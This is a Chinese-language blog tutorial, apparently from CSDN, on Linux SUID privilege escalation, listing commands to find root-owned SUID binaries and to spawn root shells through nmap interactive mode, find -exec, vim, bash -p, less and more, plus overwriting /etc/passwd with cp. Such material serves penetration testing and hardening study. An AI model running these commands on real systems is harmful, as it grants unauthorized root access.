什么是SUID

​ SUID (Set UID)是Linux中的一种特殊权限,其功能是用户在运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件。

        在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效. 通俗的来讲,假设我们现在有一个可执行文件ls,其属主为root,当我们通过非root用户登录时,如果ls设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限.,利用此特性,我们可通过SUID进行提权。

怎么设置SUID

可以先查看可执行文件是否有suid权限

ls -alh 文件名

设置suid权限:chmod u+s 可执行文件

取消suid权限:chmod u-s 可执行文件

现在已知的具有suid权限的可执行的二进制文件有以下这些

nmap
vim
find
bash
more
less
nano
cp
awk

        以下的命令可以找到正在系统上运行的所有SUID可执行文件。准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

 以上文件都是以suid权限运行并且属主都是为root

 Nmap

适用版本为:nmap2.02 -5.21

在早期nmap版本中,nmap带有交互模式,因而允许用户执行shell命令

使用如下命令进入nmap交互模式:

nmap --interactive

 并通过以下命令提权

nmap> !sh
sh-3.2# whoami
root

msfconsole中也有对应的nmap提权模块

 cp

cp命令可以将/etc/passwd文件覆盖,结合/etc/passwd提权CSDNhttps://mp.csdn.net/mp_blog/creation/editor/124102433find

当find命令有suid权限是

必须要有这个文件(passwd文件可以替换为任何存在的文件)

find passwd -exec whoami \;

 vim

vim为文本编辑器,如果vim具有了suid权限,则可以用root权限读取系统上的任何文件

vim.tiny  /etc/passwd

利用vim进入shell

vim.tiny

#vim命令

:set shell = '/bin/sh'

:shell

Bash

 以下命令将以root身份打开一个bash shell

bash -p

bash-3.2

# id

uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

less  和 more

less和more命令也可以进入shell

less /etc/passwd

#在less中输入:

!/bin/sh

Logo

更多推荐